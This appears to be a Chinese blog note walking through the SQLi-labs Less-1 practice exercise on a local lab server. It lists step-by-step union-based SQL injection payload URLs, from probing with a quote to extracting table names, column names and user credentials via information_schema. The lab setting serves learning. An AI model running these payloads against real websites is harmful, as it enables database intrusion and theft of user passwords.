sqllab less-1

1、访问sqllab 的less-1 按提示加入http://10.9.2.81/Less-1/?id=1

  2、 后面加入单引号,发生报错http://10.9.2.81/Less-1/?id=1‘

3、 测试使用查询显示数据行数 http://10.9.2.81/Less-1/?id=1‘ order by 1--+  数字从1到4 ,到4 时候报错,可以显示数据只有两行。

 4、 查询数据库版本  数据库名 http://10.9.2.81/Less-1/?id=-1' union select 1,version(),database()--+ 

5、查询库里所有表http://10.9.2.81/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

 6、 查询表里的字段名http://10.9.2.81/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

7、 查询表里用户名及密码 http://10.9.2.81/Less-1/?id=-1'union select 2,3,group_concat(username,':',password) from security.users --+  

8 结束,通过搜索得到最终结果,但数据库查询语句仅限于了解而已,不能灵活应用。

猜你喜欢

转载自www.cnblogs.com/vennus/p/12118706.html